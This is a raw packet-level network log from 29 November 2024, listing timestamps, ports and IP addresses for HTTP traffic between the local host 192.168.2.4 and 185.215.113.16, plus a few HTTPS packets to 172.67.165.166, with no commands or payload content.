Nov 29, 2024 20:07:58.914359093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.915080070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.915245056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.915923119 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.916027069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.916549921 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.916738987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.916747093 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.916774035 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.916795015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.916881084 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.917613983 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.917732954 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.918477058 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.918626070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.918653965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.918700933 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.919375896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.919454098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.920200109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.920336008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.921071053 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.921174049 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.921932936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.921941996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.922332048 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.922403097 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.056219101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.056400061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.056642056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.056653023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.057379961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.057480097 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.057528019 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.057614088 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.057996035 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.058317900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.067502975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.090764999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.090784073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.091037035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.091233015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.091963053 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.092072010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.092711926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.092822075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.093532085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.093636036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.094412088 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.094510078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.095253944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.095405102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.096122026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.096272945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.096987963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.097103119 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.097682953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.097888947 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.097907066 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.097912073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.097984076 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.098748922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.098824024 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.099570036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.099673033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.099699020 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.099771976 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.100456953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.100622892 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.101310015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.101522923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.102188110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.102263927 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.103015900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.103074074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.103954077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.104069948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.105014086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.105101109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.105659008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.105710983 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.106440067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.106554031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.107296944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.107414007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.108184099 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.108300924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.109030962 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.109143019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.109771013 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.109846115 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.109865904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.109879971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.109961987 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.109982014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.110053062 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.110747099 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.110841990 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.111630917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.111740112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.112528086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.112633944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.113393068 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.113461971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.114206076 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.114309072 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.115056992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.115240097 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.115940094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.116034985 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.116776943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.116905928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.117625952 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.117760897 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.117780924 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.118091106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.118133068 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.118515968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.118660927 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.118760109 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.119388103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.119498968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.119574070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.120234966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.120306969 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.120383024 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.120425940 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.121138096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.121262074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.121958971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.122088909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.122831106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.122945070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.123680115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.123810053 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.124577045 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.124669075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.125391006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.125513077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.126272917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.126323938 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.127213001 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.127289057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.128045082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.128215075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.128973007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.129151106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.129790068 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.129869938 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.129885912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.129980087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.130013943 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.130711079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.130804062 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.130830050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.131021023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.131448984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.131588936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.132349014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.132365942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.137881041 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.202647924 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:59.202766895 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:59.210411072 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:59.210963011 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:59.211011887 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:59.266691923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.266839027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.266844988 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.266887903 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.266895056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.267035007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.267180920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.267808914 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.267862082 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.267909050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.267981052 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.268584013 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.268779993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.301326990 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.301345110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.301476955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.301487923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.302257061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.302381039 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.303117990 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.303240061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.303992987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.304207087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.304836988 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.304963112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.305815935 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.305927038 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.306343079 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.306576014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.306685925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.307446003 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.307583094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.308003902 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.308298111 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.308458090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.309159040 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.309309006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.310075045 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.310195923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.310738087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.310883999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.310973883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.310990095 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.311844110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.311958075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.312748909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.312865019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.314208984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.314341068 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.314352036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.314425945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.315289021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.315412998 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.316071987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.316236973 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.316915035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.317022085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.317727089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.317841053 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.318587065 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.318671942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.319097996 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.319479942 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.319623947 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.319710970 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.319770098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.320341110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.320465088 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.320573092 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.321228981 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.321362019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.322077036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.322230101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.322866917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.323023081 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.323816061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.323894024 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.324656010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.324763060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.325654030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.325939894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.326531887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.326657057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.327275991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.327435970 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.328092098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.328192949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.328955889 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.329093933 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.329154968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.329766989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.329819918 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.329963923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.330080986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.330744028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.330916882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.331543922 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.331641912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.332416058 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.332536936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.333283901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.333401918 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.334183931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.334230900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.334980011 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.335179090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.335855961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.335962057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.336730957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.336817980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.337591887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.337730885 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.338457108 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.338525057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.339226007 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.339385986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.339489937 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.340152979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.340290070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.341053009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.341144085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.341873884 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.342077017 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.342839956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.342941999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.342983961 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.343055964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.343153954 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.476934910 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.476948977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.477169991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.477283955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.478110075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.478394032 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.479093075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.479373932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.479722023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.511214018 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.511317015 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.511338949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.511446953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.511615992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.511691093 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.511754990 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.511851072 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.512518883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.512605906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.512833118 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.513370037 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.513494015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.514235973 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.514235973 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.514269114 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.514364004 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.515125036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.515229940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.515970945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.516057968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.516885996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.516988039 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.517668962 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.517707109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.517822027 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.517822027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.517867088 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.518562078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.518630028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.518769979 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.519416094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.519495964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.520262957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.520276070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:59.520342112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:59.521353960 CET	80	50083	185.215.113.16	192.168.2.4
